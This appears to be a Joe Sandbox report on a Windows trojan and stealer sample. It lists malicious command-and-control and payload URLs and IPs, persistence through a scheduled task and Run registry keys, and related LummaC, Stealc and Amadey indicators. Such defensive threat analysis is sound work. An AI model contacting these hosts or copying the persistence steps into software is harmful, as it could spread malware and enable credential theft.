https://marshal-zhukov.com/apil	d1e0007322.exe, 0000000B.00000002.2651235498.0000000001454000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/apik	d1e0007322.exe, 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpt	4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steam	d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/pro;	d1e0007322.exe, 00000014.00000002.3268389179.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218171105.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258257837.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3218380278.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpu	file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://marshal-zhukov.com/apit	d1e0007322.exe, 00000014.00000003.2811041319.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3217922958.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258257837.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2811241396.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3268389179.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpP	skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apiY	d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/nSettingsC:	4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php.	skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/legal/	d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apiP	d1e0007322.exe, 00000014.00000003.3257681427.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258911404.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3267915350.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/apiO	d1e0007322.exe, 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/apiV	d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/apiU	d1e0007322.exe, 00000014.00000003.2748081095.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php/	skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gofile.io/	skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/api:	d1e0007322.exe, 0000000B.00000002.2651235498.00000000014F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
49.12.130.36	cold-eu-fsn-2.gofile.io	Germany	24940	HETZNER-ASDE	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	marshal-zhukov.com	European Union	13335	CLOUDFLARENETUS	false
23.197.127.21	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
45.112.123.126	gofile.io	Singapore	16509	AMAZON-02US	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false
172.217.16.142	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554077
Start date and time:	2024-11-12 02:12:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 18m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@45/35@35/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 172.217.18.14, 66.102.1.84, 34.104.35.123, 216.58.206.35, 142.250.185.234, 172.217.16.202, 142.250.186.42, 142.250.181.234, 142.250.186.106, 172.217.18.10, 142.250.186.138, 216.58.212.170, 216.58.206.42, 142.250.186.170, 172.217.23.106, 142.250.185.202, 142.250.184.202, 216.58.206.74, 142.250.184.234, 142.250.185.106, 199.232.210.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7304 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:13:42	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
01:14:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d1e0007322.exe C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe
01:14:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4172e6dca8.exe C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe
01:14:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 081eb93126.exe C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
01:14:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d1e0007322.exe C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe
01:14:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4172e6dca8.exe C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe
01:14:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 081eb93126.exe C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe
20:13:30	API Interceptor	54x Sleep call for process: file.exe modified
20:13:47	API Interceptor	39384635x Sleep call for process: skotes.exe modified
20:13:58	API Interceptor	78408x Sleep call for process: d1e0007322.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
marshal-zhukov.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
gofile.io	Creal.exe	Get hash	malicious	Creal Stealer	Browse	45.112.123.126
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse	45.112.123.126
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	51.75.242.210
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	45.112.123.126
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.126
	SecuriteInfo.com.FileRepMalware.22561.28030.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	45.112.123.126
	SecuriteInfo.com.Win64.Malware-gen.13500.20938.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	45.112.123.126
	SecuriteInfo.com.Win64.Malware-gen.4046.15809.exe	Get hash	malicious	EICAR	Browse	104.251.123.67
	SecuriteInfo.com.Win64.Malware-gen.4046.15809.exe	Get hash	malicious	Unknown	Browse	45.112.123.126
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	45.112.123.126
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.210.122.61
	file.exe	Get hash	malicious	LummaC	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	https://protect-us.mimecast.com/s/hYDyCPNMNpH1gQKBC1i0HxuQpT	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	allpdfpro.msi	Get hash	malicious	Unknown	Browse	1.1.1.1
	BlackLizard3_crypted_LAB.exe	Get hash	malicious	LummaC	Browse	172.67.196.146
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
HETZNER-ASDE	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	176.9.192.202
	http://swctch.com	Get hash	malicious	Unknown	Browse	116.203.164.53
	Anfrage.exe	Get hash	malicious	FormBook, GuLoader	Browse	188.40.95.144
	shindemips.elf	Get hash	malicious	Unknown	Browse	144.79.204.133
	5r3fqt67ew531has4231.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	188.40.247.90
	1.cmd	Get hash	malicious	Unknown	Browse	195.201.57.90
	Exploit Detector.bat	Get hash	malicious	Unknown	Browse	195.201.57.90
